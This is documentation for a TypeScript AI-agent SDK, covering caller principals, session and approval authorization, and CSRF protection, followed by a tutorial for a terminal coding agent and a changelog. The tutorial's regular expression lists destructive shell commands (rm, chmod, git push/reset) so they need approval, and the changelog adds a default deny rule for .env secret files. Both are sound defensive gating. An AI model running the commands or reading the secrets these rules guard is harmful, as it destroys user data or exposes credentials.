server uses it (`resolveAgentDir()` returns it as `auth`; the manifest says
`auth: true`). With an `auth.ts`, a token baked in with
`adapter.scaffold(..., { auth: { token } })` is not used; `LOUSHO_API_TOKEN`
still is. The `cloudflare-worker` target serves spec files only and keeps the
`LOUSHO_API_TOKEN` token; see [Deployment](/deployment#auth).

`auth.ts` may also export functions named `authorizeSession` and
`authorizeApproval`, next to its default export. The built server uses them as
the rules of [Who may use a session](#who-may-use-a-session) and
[Who may decide an approval](#who-may-decide-an-approval), and
`resolveAgentDir()` returns them under those names. Any other value under
those names fails the load (`LOUSHO_AGENT_DIR_INVALID`). `lousho dev` has no
route auth, so neither the list nor these rules apply there.

## Reading the principal in the run

The principal is on the run context next to `sessionId` and `metadata`. The
`vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, defineMemory, inMemoryMemory, type Principal } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const notes = defineMemory({
  name: 'notes',
  // One memory per caller. Key on the issuer too: ids from different issuers can collide.
  scope: ({ principal }) => principal && `user:${principal.issuer ?? ''}:${principal.id}`,
  provider: inMemoryMemory(),
});

const agent = createAgent({
  provider: mockModel(['Hi!', 'Hi again!']), // one scripted reply per turn below
  model: ({ principal }) => (principal?.claims?.plan === 'pro' ? 'openai/gpt-4o' : 'openai/gpt-4o-mini'),
  instructions: ({ principal }) => (principal?.type === 'service' ? 'Answer in JSON.' : 'Be friendly.'),
  memory: [notes],
});

// Outside a route, pass the principal yourself:
const caller: Principal = { id: 'u-42', type: 'user', authenticator: 'jwt', issuer: 'https://auth.example.com' };
await agent.send('Hello', { principal: caller });
await agent.session({ id: 'chat-1' }).send('Hello again', { principal: caller });
```

`principal` is separate from `metadata` on purpose: `metadata` is whatever the
caller sent, `principal` is what auth verified. A run that is resumed from its
checkpoint or after an approval keeps the principal it started with. The Slack,
Discord, Teams, GitHub and Telegram channels set the sender as the principal
(`authenticator: 'slack'`, `'discord'`, ...). Tools, approval policies,
permission rules and sub-agents see it too: see
[Principals in tools and approvals](#principals-in-tools-and-approvals).

## Security notes

* **Sessions belong to the caller that started them by default.** Once route
  auth accepted a caller, a session id is bound to the first principal that
  sends it a turn (reading an id claims nothing), and any other principal gets
  `403` (`LOUSHO_SESSION_FORBIDDEN`). That record lives in memory, per agent,
  for the 100,000 most recently used sessions. A stored session whose owner is
  not on record (after a restart, on a second replica, past that cap) is
  refused to every principal, its owner too. With more than one instance, or a
  store that outlives the process, pass `authorizeSession` that checks
  ownership against your own data. See
  [Who may use a session](#who-may-use-a-session).
* **Cookies need CSRF protection, which the routes give by default.** A POST
  must be JSON (`415` otherwise) and must not come from another site's page
  (`403`, `LOUSHO_REQUEST_FORBIDDEN`). Keep your session cookie `SameSite=Lax`
  or `Strict` as well. See [Cross-site requests](#cross-site-requests).
* **Approvals.** A decision only reaches an approval of the session in the URL
  (another session's approval is a `404`). By default only the caller the run
  acts for may decide it. If an approval must come from someone else, such as a
  supervisor approving a customer's refund, set `authorizeApproval`. Otherwise
  the customer can approve their own call: the approval id is in their own
  stream. See [Who may decide an approval](#who-may-decide-an-approval).
* **Errors.** The session routes send an error's `name` and `code` with a
  generic message. The full error (a provider's response body, a chat template)
  goes to the server log (`console.error`) and to `onEvent`. Pass
  `exposeErrors: true` to send the raw message, as `lousho dev` does. A
  missing provider package (`LOUSHO_PEER_MISSING`) always sends its message:
  the SDK's own `npm install` command.
* `basic()` only over HTTPS; a bearer token is a password too, so terminate TLS
  in front of any server that is not on localhost.
* Keep `issuer` and `audience` set for `jwt()`: a token minted for another of
  your services is otherwise accepted here.

## Principals in tools and approvals

Everything that decides or acts on the caller's behalf gets the run's
principal, frozen (a tool or a policy that assigns to it throws):

| Where | How |
| - | - |
| A tool's `execute(args, ctx)` | `ctx.principal` |
| A `needsApproval` function | `ctx.principal` (its second argument) |
| A permission rule's `when(args, ctx)` | `ctx.principal` |
| `preToolCall` / `postToolCall` hooks | `ctx.principal` |
| `onPermissionDecision(entry, { principal })` | the second argument; the entry itself carries none |
| A pending approval (`agent.approvals.list()`, `approve`, a channel's `approvers` function) | `request.principal`: whose call it is |
| In-process sub-agents (`task`, background tasks) | the lead's principal, everywhere above |

A run without a principal (no route auth, `send()` without `principal`) has
none in any of these places.

### In a tool

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

export const myOrders = defineTool({
  name: 'my_orders',
  description: "Lists the caller's orders",
  input: z.object({}),
  execute: async (_args, ctx) => {
    if (!ctx.principal) return { error: 'Sign in first.' };
    // Key on the issuer too: the same id from another issuer is another caller.
    return { owner: `${ctx.principal.issuer ?? ''}:${ctx.principal.id}`, orders: [] };
  },
});
```

The principal comes only from route auth or a channel's verified sender, never
from the request body or the model, and a tool cannot change it.

### Approval policies and permission rules

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const deploy = defineTool({
  name: 'deploy',
  description: 'Deploys a service',
  input: z.object({ service: z.string() }),
  // Ask a human only when the caller has no `admin` claim.
  needsApproval: (_args, ctx) => ctx.principal?.claims?.admin !== true,
  execute: async ({ service }) => `deployed ${service}`,
});

const agent = createAgent({
  provider: mockModel(['Ready.']),
  tools: [deploy],
  // Service accounts (CI tokens) may not deploy at all.
  permissions: [{ tool: 'deploy', when: (_args, ctx) => ctx.principal?.type === 'service', action: 'deny', reason: 'Not for service accounts' }],
});

await agent.send('Deploy the API', { principal: { id: 'ci', type: 'service', authenticator: 'api-token' } });
```

### Who approved

A decision can name who made it. The approved tool sees the decider as
`ctx.approval.by`, next to `ctx.approval.note`:

```ts theme={null}
import { createAgent, defineTool, type Principal } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Sends an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }, ctx) => `sent to ${to} for ${ctx.principal?.id}, approved by ${ctx.approval?.by?.id}`,
});

const agent = createAgent({
  provider: mockModel([{ toolCalls: [{ name: 'send_email', args: { to: 'sam@example.com' } }] }, 'Sent.']),
  tools: [sendEmail],
});
const alice: Principal = { id: 'alice', type: 'user', authenticator: 'jwt' };
const lead: Principal = { id: 'lead', type: 'user', authenticator: 'jwt' };

const paused = await agent.send('Email Sam', { principal: alice });
// The tool runs for alice; lead is recorded as the approver.
await agent.approvals.resolve({ id: paused.approvalId!, approved: true }, { principal: lead });
```

`resolve()`, `answer()`, `streamResolve()` and `streamAnswer()` take
`{ principal }`. The approvals route (`POST /chat/:sessionId/approvals/:id`)
passes the caller its auth list accepted; body fields cannot set it.
`mountChannels()` passes the user who clicked as
`{ id, type: 'user', authenticator: <channel name> }`, or, for a question
answered with a message, that message's sender. Decisions made by an `approve`
callback, or posted to `/channels/<name>/approvals/:id`, have no approver.

The approver never becomes the run's principal: the approved call and the
rest of the run act for the caller that paused it. A credential or a grant that
belongs to that caller is used only for that caller's calls, whoever approves.

### Who may use a session

By default, once route auth accepted a caller, a session belongs to the first
principal that sends it a turn (principals are compared by `id`, `type`,
`authenticator` and `issuer`). Another principal gets `403`
(`LOUSHO_SESSION_FORBIDDEN`) on `GET /chat/:id`, `POST /chat`, `POST <basePath>` and the `useChat` endpoint; decisions on its approvals are left to
`authorizeApproval` (below). Reading an id nobody has sent a turn to yet
claims nothing, so a caller cannot lock a user out of a predictable id
(`user-42`) by reading it first. A turn with an empty `input` is a `400` and
claims nothing, and a turn that stores nothing (it failed before saving) drops
its claim. A route without auth checks nothing. All callers of one
`apiToken()` are one principal, so they share every session; a route guarded
by one bearer token (`auth: '<token>'`, the node server or the Worker with
only `LOUSHO_API_TOKEN`) checks no owner at all.

The owner is remembered in memory, per agent object, for the 100,000 most
recently used sessions. A restart, a second replica, a session unused for
longer, or a host that builds its agent per request forgets it. The default
then fails closed: a session that is already stored (it has a transcript or an
unfinished turn) but has no owner on record is refused to every principal,
including the one that started it, so nobody can take over a session by
getting its owner forgotten. Only a session that was never stored can be
claimed again. So for anything that runs on more than one instance, or keeps
sessions across restarts, check ownership yourself with `authorizeSession`.

`createRouteHandler()` and the generated node server take `authorizeSession`,
which replaces that default (in an agent directory, export it from `auth.ts`:
see the example under [Who may decide an approval](#who-may-decide-an-approval)). It is asked before a caller reads a session
(`action: 'read'`), sends it a turn (`'chat'`, also `POST <basePath>` and the
`useChat` endpoint) or decides one of its approvals (`'approve'`). Return
`false` for a `403` (`LOUSHO_SESSION_FORBIDDEN`). Deriving the id from the
caller keeps the check stateless:

```ts theme={null}
import { createAgent, createRouteHandler, memoryStore } from '@lousho/build-ai-agent';
import { jwt } from '@lousho/build-ai-agent/auth';

const agent = createAgent({ model: 'openai/gpt-4o-mini', store: memoryStore() });
// The user id a session id starts with: everything before its last `-`. A prefix match would let
// `alice` reach `alice-x`'s sessions, so the suffix has no `-` (e.g. `crypto.randomUUID().replaceAll('-', '')`).
const ownerOf = (sessionId: string) => sessionId.slice(0, Math.max(sessionId.lastIndexOf('-'), 0));

export const { GET, POST } = createRouteHandler(agent, {
  auth: jwt({ secret: process.env.JWT_SECRET!, issuer: 'https://auth.example.com', audience: 'agent-api' }),
  // Session ids are `<user id>-<suffix without '-'>`: a user can only reach their own.
  authorizeSession: ({ principal, sessionId }) => principal !== undefined && ownerOf(sessionId) === principal.id,
});
```

`authorizeSession: () => true` lets every authenticated caller use every
session (the behavior before this default).

### Cross-site requests

A browser sends cookies with requests that another site's page makes, so with
cookie-based auth a page on `evil.example` could otherwise start a turn or
approve a call as your user. The session routes refuse that by default:

* a POST whose `Origin` is not the server's own (its `Host`, or the host a
  proxy in front reports in `X-Forwarded-Host` or `Forwarded: host=`) and not
  in `allowedOrigins`, or that the browser marked `Sec-Fetch-Site:
  cross-site`, is `403` (`LOUSHO_REQUEST_FORBIDDEN`). Requests without an
  `Origin` (curl, a server, another agent) are not affected;
* a POST body must be `Content-Type: application/json` (`415`,
  `LOUSHO_UNSUPPORTED_MEDIA_TYPE` otherwise): forms and `text/plain` are what
  another site can send without a CORS preflight.

A front end on another origin is listed in `allowedOrigins` (it also needs
CORS headers, which your host adds); `allowedOrigins: ['*']` turns the origin
check off and `requireJsonBody: false` the content-type one. Entries are
compared as origins: case, a trailing slash and a default port
(`https://app.example:443`) do not matter. `allowedHosts` (off by default)
refuses any request whose `Host` is not listed, against DNS rebinding of a
server on a private address. All three work on `createRouteHandler()` and
the generated node server; that server and the Cloudflare Worker read
them from `LOUSHO_ALLOWED_ORIGINS` and `LOUSHO_ALLOWED_HOSTS` (comma-separated)
and `LOUSHO_REQUIRE_JSON_BODY=false`.

Behind a reverse proxy:

* The proxy must tell the server the public host, or a browser's same-site
  POST is `403`: keep the original `Host` (nginx `proxy_set_header Host
  $host;`), or set `X-Forwarded-Host` (`proxy_set_header X-Forwarded-Host
  $host;`) or `Forwarded: host=...`. A default port in it
  (`agent.example:443`) matches an `https://agent.example` page. Otherwise
  list the public origin in `allowedOrigins`.
* `allowedHosts` checks only the `Host` header the server receives, never the
  forwarded ones (a page that rebinds DNS can set those). Behind a proxy that
  rewrites `Host`, list the upstream name the proxy sends, not the public one.

```ts theme={null}
import { createAgent, createRouteHandler } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });

export const { GET, POST } = createRouteHandler(agent, {
  auth: process.env.AGENT_TOKEN,
  allowedOrigins: ['https://app.example.com'],
});
```

### Who may decide an approval

A decision posted to `POST /chat/:sessionId/approvals/:id` must name the
session the approval belongs to; any other session answers `404`, as for an
approval that was already decided. `POST <basePath>/approvals/:id` (the route
`useLoushoAgent` posts to) names no session, so it is checked against the
approval's own session.

Then `authorizeApproval({ principal, sessionId, approval })` decides; `false`
is a `403` (`LOUSHO_APPROVAL_FORBIDDEN`). The default, `callerOwnsApproval`,
lets only the caller the paused run acts for decide (`approval.principal`,
compared by `id`, `type`, `authenticator` and `issuer`). A user can confirm
their own call, and cannot decide another user's. A run without a principal,
or a route without auth, accepts any caller.

When `needsApproval` means that someone else must approve, say who. Here a
customer can no longer approve their own refund, and a supervisor can read any
session (to see what they are approving) and decide in it:

```ts theme={null}
import { createAgent, createRouteHandler, memoryStore } from '@lousho/build-ai-agent';
import { jwt } from '@lousho/build-ai-agent/auth';

const agent = createAgent({ model: 'openai/gpt-4o-mini', store: memoryStore() });
const isSupervisor = (principal?: { claims?: Readonly<Record<string, unknown>> }) => principal?.claims?.role === 'supervisor';
// Session ids are `<user id>-<suffix without '-'>`; the owner is everything before the last `-`.
const ownerOf = (sessionId: string) => sessionId.slice(0, Math.max(sessionId.lastIndexOf('-'), 0));

export const { GET, POST } = createRouteHandler(agent, {
  auth: jwt({ secret: process.env.JWT_SECRET!, issuer: 'https://auth.example.com', audience: 'agent-api' }),
  // Customers use their own sessions; supervisors may read and decide in any session.
  authorizeSession: ({ principal, sessionId, action }) =>
    (principal !== undefined && ownerOf(sessionId) === principal.id) || (action !== 'chat' && isSupervisor(principal)),
  authorizeApproval: ({ principal }) => isSupervisor(principal),
});
```

In an agent directory built with `lousho build --target=node-server` (or
`docker`), export the same rules from `auth.ts`. Here users file expense
claims, a manager decides them, and nobody approves their own:

```ts theme={null}
// my-agent/auth.ts
import { apiToken } from '@lousho/build-ai-agent/auth';
import type { ApprovalAccessRequest, SessionAccessRequest } from '@lousho/build-ai-agent';

export default [
  apiToken(process.env.ALICE_TOKEN!, { id: 'alice' }),
  apiToken(process.env.BOB_TOKEN!, { id: 'bob' }),
  apiToken(process.env.MANAGER_TOKEN!, { id: 'manager' }),
];

// Session ids are `<user id>-<suffix without '-'>`.
const ownerOf = (sessionId: string) => sessionId.slice(0, Math.max(sessionId.lastIndexOf('-'), 0));

// Users use their own sessions; the manager may open any session to review a claim.
export function authorizeSession({ principal, sessionId }: SessionAccessRequest): boolean {
  return principal?.id === 'manager' || (principal !== undefined && ownerOf(sessionId) === principal.id);
}

// Only the manager decides, and never on a claim of their own.
export function authorizeApproval({ principal, approval }: ApprovalAccessRequest): boolean {
  return principal?.id === 'manager' && approval.principal?.id !== 'manager';
}
```

Alice's paused claim in session `alice-1` is then decided by
`POST /chat/alice-1/approvals/:id` with the manager's token (`200`); with
alice's own token it is a `403` (`LOUSHO_APPROVAL_FORBIDDEN`). Without these
exports the built server keeps the defaults, so only alice could decide it.

Two requests that decide the same approval get one continuation: while the
winning decision's continuation is still running (on the same server process),
any other decision of that approval is a `409` (`LOUSHO_APPROVAL_CONFLICT`),
whether it arrived at the same moment or while the decided tool was running;
once that continuation has ended, a decision is a `404`
(`LOUSHO_APPROVAL_NOT_FOUND`). A decision handled by another replica is a
`404` there.

### Pauses, crashes and forks

The principal is saved with the run's checkpoints and approval snapshots, so a
run resumed in another process (after a restart, `agent.approvals.resolve()`,
`agent.resume()`, a session's pending turn) acts for the same caller. A call
that continues an unfinished checkpointed run must pass no principal (it then
continues as the saved one) or the same one; another caller's
`send(message, { sessionId, principal })` throws `LOUSHO_CONFIG_INVALID`, so
its input never runs under someone else's identity. Checkpoints and snapshots
saved before this release have no principal and resume without one.

`agent.fork()` / `AgentExecutor.fork()` copy a run's checkpoint, principal
included: the fork is the same caller's run. A pending approval is not copied;
the fork asks again. `session.fork()` copies only the conversation: the fork
has no principal of its own, each of its turns runs with the principal its
`send()` passes, and a pending approval stays with the original session.

### Sub-agents

In-process sub-agents (the `task` tool and background tasks) act for the
lead's caller, also when their approval is
resumed. A [remote sub-agent](/sub-agents) (`remoteAgent()`) is not told who
the caller is: the remote server's own route auth decides its principal (for
example the `apiToken()` service principal of the lead's token).

### What is stored and logged

The principal, claims included, is stored in checkpoints and approval records,
which already hold the transcript; treat those stores as personal data. It is
not added to `AgentEvent`s (`permission.decision` included), OpenTelemetry
spans or trace files, and error messages do not name callers.


# Build a coding agent
Source: https://lousho.com/build-a-coding-agent



This page builds a terminal coding agent in the style of Claude Code: it reads
and edits files in your project, runs commands, asks you before it writes a
file or runs something risky, and keeps the conversation going for follow-up
questions. You need Node 22, an API key in the environment variable your model
provider expects (`OPENAI_API_KEY` for the model used here) and a project
directory to run it in. The finished file is at the end of
[step 5](#5-keep-the-conversation), and you run it as
`npx tsx coding.ts "Fix the failing test"`.

## 1. Give the agent a workspace

A workspace is a directory the agent may work in. `NodeWorkspace` is both a
file system and a shell for it, and `createFsTools()` and `createShellTool()`
turn it into tools.

```ts theme={null}
import { NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: process.cwd() });
const tools = [...createFsTools(workspace), createShellTool(workspace)];
```

The `root` matters: every path the model passes is confined to it, and `..`,
absolute paths and drive letters are rejected (see the
[security model](/workspace-tools#security-model)). Run the program from
the project directory and use `process.cwd()` as the root, so the file tools
cannot reach anything outside the project.

The model sees seven tools: `read_file`, `write_file`, `edit_file`,
`list_dir`, `glob` and `grep` from `createFsTools()`, and `shell` from
`createShellTool()`. Their arguments and options are in
[Workspace tools](/workspace-tools#the-tools).

## 2. Decide what needs approval

A tool with `needsApproval` pauses the run before it executes, so a human
decides. Reading is harmless, so gate the file tools that change things with a
per-tool map. For the shell, pass a predicate over the command string and gate
only the commands you consider risky.

```ts theme={null}
import { NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const DESTRUCTIVE = /\b(rm|mv|chmod|chown|git\s+(push|reset|clean|checkout))\b|>/;

const workspace = new NodeWorkspace({ root: process.cwd() });
const tools = [
  ...createFsTools(workspace, { needsApproval: { write_file: true, edit_file: true } }),
  createShellTool(workspace, { needsApproval: (command) => DESTRUCTIVE.test(command) }),
];
```

The shell tool asks for approval by default (`needsApproval: true`); the
predicate above lets everything else, such as `npm test` or `git status`, run
without asking. The other way to skip the question is an `allow` list of the
commands you trust, with `needsApproval: false`, as shown at the top of
[Workspace tools](/workspace-tools). Use exact rules such as
`{ command: 'npm test' }` there: a plain string such as `'npm test'` allows
the command with any arguments, including flags that write outside the
workspace. The regular expression is a
convenience, not a security boundary: a shell command can be written in many
ways. For anything you do not control, keep the default and approve every
command, or run the shell in a sandbox (see `SandboxShell` in
[Workspace tools](/workspace-tools#sandboxed-shell-sandboxshell)).

## 3. Run it and stream the answer

Create the agent with the tools, then call `agent.stream()`. It returns a run
you iterate for typed events: `text.delta` carries the model's text as it is
written and `tool.start` announces each tool call (see
[Streaming](/streaming)).

```ts theme={null}
import { NodeWorkspace, createAgent, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: process.cwd() });
const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You are a careful coding agent. Read before you edit; run the tests after every change.',
  maxSteps: 30,
  tools: [
    ...createFsTools(workspace, { needsApproval: { write_file: true, edit_file: true } }),
    createShellTool(workspace),
  ],
});

const run = agent.stream('Fix the failing test');
for await (const event of run) {
  if (event.type === 'text.delta') process.stdout.write(event.text);
  if (event.type === 'tool.start') console.log(`\n> ${event.toolName} ${JSON.stringify(event.args)}`);
}
```

`maxSteps` bounds the model calls in one run, so a confused agent cannot loop
forever. This program stops at the first gated call: the stream ends with an
`approval.requested` event and the run finishes as `'awaiting-approval'`. The
next step handles that. The `vendor/` model prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

## 4. Handle the pause

When the stream ends, `await run.result` gives the final result. If the run
paused, `result.approvalId` names the pending call. Ask the user, then
continue with `agent.approvals.streamResolve()`, which returns a new run for
the rest of the work. That run can pause again, so loop until there is no
`approvalId`.

```ts theme={null}
import { createInterface } from 'node:readline/promises';
import { createAgent, type AgentRun } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You are a coding agent.' });
const rl = createInterface({ input: process.stdin, output: process.stdout });

async function drain(first: AgentRun): Promise<void> {
  let run = first;
  for (;;) {
    for await (const event of run) {
      if (event.type === 'text.delta') process.stdout.write(event.text);
      if (event.type === 'tool.start') console.log(`\n> ${event.toolName} ${JSON.stringify(event.args)}`);
    }
    const { approvalId } = await run.result;
    if (!approvalId) return;
    const answer = await rl.question('\nApprove this call? [y/N] ');
    run = agent.approvals.streamResolve({ id: approvalId, approved: answer.trim().toLowerCase() === 'y' });
  }
}

try {
  await drain(agent.stream('Fix the failing test'));
} finally {
  rl.close();
}
```

Two details of the continued stream. The call you just approved resumes with
a `tool.resume` event - its `tool.start` was already printed by the run that
paused, so the loop prints each call once (`tool.resume` is the event to
match if you want to mark the call running again). And a
rejected call does not fail the run: the model gets a rejection result instead
of the tool output and carries on. To tell it why, pass a `note`:
`streamResolve({ id, approved: false, note: 'Do not touch the lockfile' })`.
The `try` / `finally` closes the `readline` interface even when `run.result`
rejects because the run failed.

The `approval.requested` event also carries `toolName` and `args`, so you can
print what the call will do before you ask. See [Approvals](/approvals)
for the whole API.

## 5. Keep the conversation

So far each task starts from nothing. An `agent.session()` keeps the
transcript, so a follow-up such as "now add a test for the empty case" sees the
earlier turns. `session.stream(input)` is `agent.stream()` for a conversation
and returns the same kind of run; a turn that pauses on a gated call continues
in the same session when you resolve it through the same agent (see
[Streaming a session turn](/sessions#streaming-a-session-turn)). Turn the
loop into a REPL: one `session.stream()` per line the user types, with the
same pause handling.

```ts theme={null}
// coding.ts
// Run: OPENAI_API_KEY=... npx tsx coding.ts "Fix the failing test"
import { createInterface } from 'node:readline/promises';
import { NodeWorkspace, createAgent, createFsTools, createShellTool, type AgentRun } from '@lousho/build-ai-agent';

const DESTRUCTIVE = /\b(rm|mv|chmod|chown|git\s+(push|reset|clean|checkout))\b|>/;

const workspace = new NodeWorkspace({ root: process.cwd() });
const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You are a careful coding agent. Read before you edit; run the tests after every change.',
  maxSteps: 30,
  tools: [
    ...createFsTools(workspace, { needsApproval: { write_file: true, edit_file: true } }),
    createShellTool(workspace, { needsApproval: (command) => DESTRUCTIVE.test(command) }),
  ],
});
const session = agent.session();
const rl = createInterface({ input: process.stdin, output: process.stdout });

async function drain(first: AgentRun): Promise<void> {
  let run = first;
  for (;;) {
    for await (const event of run) {
      if (event.type === 'text.delta') process.stdout.write(event.text);
      if (event.type === 'tool.start') console.log(`\n> ${event.toolName} ${JSON.stringify(event.args)}`);
    }
    const { approvalId } = await run.result;
    if (!approvalId) return;
    const answer = await rl.question('\nApprove this call? [y/N] ');
    run = agent.approvals.streamResolve({ id: approvalId, approved: answer.trim().toLowerCase() === 'y' });
  }
}

try {
  let line = process.argv[2] ?? (await rl.question('> '));
  while (line.trim() && line.trim() !== 'exit') {
    await drain(session.stream(line));
    process.stdout.write('\n');
    line = await rl.question('> ');
  }
} finally {
  rl.close();
}
```

The first task comes from the command line (or a prompt if there is none);
after each answer the program asks for the next line, and an empty line or
`exit` ends it. The session lives in memory, so it ends with the process; to
keep a conversation across runs, give the agent a store (see
[Choosing a store](/sessions#choosing-a-store)).

### Long turns and restarts

* **Context.** A coding turn reads files, runs tests and edits over many
  steps; every tool result stays in the transcript, so a 40-step turn can
  outgrow a 128k-token window before it finishes. Pass
  `createAgent({ compaction: true })` (or a summarizer, see
  [Context compaction](/compaction)): it compacts before each model call,
  between the steps of one turn too.
* **Crashes.** With a durable store, a turn killed mid-way is finished by the
  next `session.send()` or by `session.resume()`. A tool call that was running
  when the process died runs again ([at-least-once](/durable-execution#at-least-once-tools-make-side-effects-idempotent)).
  The built-in `write_file` and `edit_file` are safe to re-run: `write_file`
  writes the same content again, and an `edit_file` whose edit is already in
  the file (`old_string` gone, `new_string` present) succeeds with "the edit
  was already applied" instead of failing. With
  [`WorkspaceCheckpoints`](/workspace-tools#the-tools), each change's backup is stored
  before the file is written, and a re-run keeps the first backup, so
  `rewind()` still restores the original after a crash.
* **Progress while resuming.** `session.resume()` returns a result, not a
  stream, and `session.stream()` does not stream the pending turn it finishes
  before the new message. To show progress, register
  `session.on((event) => ...)` before calling it, or pass
  `createAgent({ onEvent })`: both get the resumed turn's `AgentEvent`s
  (`tool.start`, `text.delta`, ..., `run.done`) as they happen.
* **Approvals after a restart.** `agent.approvals.streamResolve({ id, approved })`
  (or `resolve()`) from a fresh process, given the same durable store,
  continues the paused turn in its session; no `session.resume()` first.

## 6. Test it without a model

The agent needs no network to test. A `MemoryWorkspace` keeps the files in
memory and takes a scripted `exec` for the shell, and `mockModel` plays the
model. Assert on `workspace.snapshot()` and `workspace.commands`.

```ts theme={null}
import { createAgent, createFsTools, createShellTool, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({
  files: { 'math.js': 'exports.add = (a, b) => a - b;\n' },
  exec: (command) => (command === 'node --test' ? { stdout: 'pass 1\n' } : { exitCode: 1, stderr: 'unknown command\n' }),
});
const agent = createAgent({
  instructions: 'Fix bugs. Run the tests after every change.',
  provider: mockModel([
    { toolCalls: [{ name: 'edit_file', args: { path: 'math.js', old_string: 'a - b', new_string: 'a + b' } }] },
    { toolCalls: [{ name: 'shell', args: { command: 'node --test' } }] },
    'Fixed add(); the tests pass.',
  ]),
  tools: [...createFsTools(workspace), createShellTool(workspace, { needsApproval: false })],
});

await agent.send('add() is broken');
console.log(workspace.snapshot()['math.js']); // 'exports.add = (a, b) => a + b;\n'
console.log(workspace.commands.map((c) => c.command)); // ['node --test']
```

To test the approval path, gate `write_file` the way the real agent does.
`send()` resolves with `finishReason: 'awaiting-approval'` and an
`approvalId`, the file is still unchanged, and `agent.approvals.resolve()`
runs the write and finishes the turn.

```ts theme={null}
import { createAgent, createFsTools, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({ files: { 'notes.txt': 'old\n' } });
const agent = createAgent({
  instructions: 'Write notes.',
  provider: mockModel([
    { toolCalls: [{ name: 'write_file', args: { path: 'notes.txt', content: 'new\n' } }] },
    'Wrote the file.',
  ]),
  tools: createFsTools(workspace, { needsApproval: { write_file: true } }),
});

const paused = await agent.send('Update the notes');
console.log(paused.finishReason, workspace.snapshot()['notes.txt']); // 'awaiting-approval' 'old\n'

const done = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });
console.log(done.text, workspace.snapshot()['notes.txt']); // 'Wrote the file.' 'new\n'
```

To check the real prompt and tool schemas against a model once and replay the
recording afterwards, see [Record and replay](/testing#record-and-replay).

## Next steps

* [Workspace tools](/workspace-tools): the full tool reference, the security model, and `SandboxShell` to run commands in Docker.
* [Undo the agent's file changes](/workspace-tools#the-tools): pass `createFsTools(workspace, { checkpoints })` a `WorkspaceCheckpoints`, then `checkpoints.rewind(turn, { sessionId: session.id, dryRun: true })` shows what rewinding to a turn would restore.
* [Approvals](/approvals): durable approval stores, `approve` callbacks and deciding from another process.
* [Streaming](/streaming): every event type, cancelling a run, and the web stream formats.
* [Sessions](/sessions): stores, limits and durable sessions.
* [Durable execution](/durable-execution): surviving a crash in the middle of a long run.
* [Configuration](/configuration): `projectInstructions: true` appends your `AGENTS.md` or `CLAUDE.md` to the instructions.


# Changelog
Source: https://lousho.com/changelog

Every notable change to @lousho/build-ai-agent, newest first.

## \[Unreleased]

What is on `main` and not yet on npm. Entries marked **Behavior change** can
break working code; [Upgrading](/upgrading) lists each one with its
opt-out.

### Changed

* **Behavior change:** the built node-server and Docker image refuse to start on a non-loopback host when no auth is configured (no `LOUSHO_API_TOKEN`, build token or `auth.ts`), with `LOUSHO_SERVER_UNPROTECTED`. Set a token, add `auth.ts`, bind to `127.0.0.1`, or set `LOUSHO_ALLOW_PUBLIC=1` to serve an open agent on purpose. `lousho build --target=docker` prints the run command with `-e LOUSHO_API_TOKEN=<token>`.

* The `limits.maxCostUsd` warning for a model with no known price names the model, says the limit is not enforced for it, and shows the `registerModel()` call that fixes it. It is printed once per model instead of on every step.

* Scaffolded READMEs link to the docs site (`https://lousho.com/quickstart`) instead of the GitHub file on `main`.

* [Sessions](/sessions#sharing-a-sqlite-file) has one statement on sharing a SQLite store, used across the docs: several processes on one host and a local disk are fine; network filesystems and multiple hosts are not.

* **Behavior change:** the built node-server and Docker image resume runs a crash left in progress when they start (`agent.recover()`), and check again every 30 seconds until shutdown. Runs paused on an approval or a question are left alone, and a run another replica holds is skipped. `LOUSHO_RECOVER_ON_START=0` turns it off. See [Crash recovery](/deployment#crash-recovery).

* **Behavior change:** `createAgent()` and `defineTool()` reject an option key they don't know with `LOUSHO_CONFIG_INVALID` and a suggestion (`requireApproval` → `needsApproval`, `maxOutputTokens` → `modelSettings.maxTokens`) instead of ignoring it. A mistyped `needsApproval` used to run the tool unapproved. Keys set to `undefined` are ignored.

* **Behavior change:** the workspace file tools deny `.env` and `.env.*` by default as well as `.git`. `.env.example`, `.env.sample` and `.env.template` stay readable. A `deny` list you pass still replaces the defaults.

* `POST /chat` answers `409` with `Retry-After: 2` and `code: LOUSHO_SESSION_BUSY` when another process or replica is running the session, instead of a `200` stream holding only the error. An `Idempotency-Key` resend that hits a running turn gets the same `409`.

* Scaffolded agents (`lousho init`, `create-lousho-agent`) set `modelSettings: { maxTokens: 4096 }`, so a first run on a low-credit OpenRouter key no longer fails with "requires more credits, or fewer max\_tokens". The generated README explains the error.

* Error `docs` links point to `https://lousho.com/errors#<code>` instead of the GitHub file on `main`.

* The Docker image creates `/app/data` owned by `node` and declares it a `VOLUME`, so a fresh named volume works with `LOUSHO_STORE=sqlite:/app/data/lousho.db`.

* The [Authentication](/auth) examples read secrets from the environment and fail at startup when they are missing, instead of falling back to a literal secret.

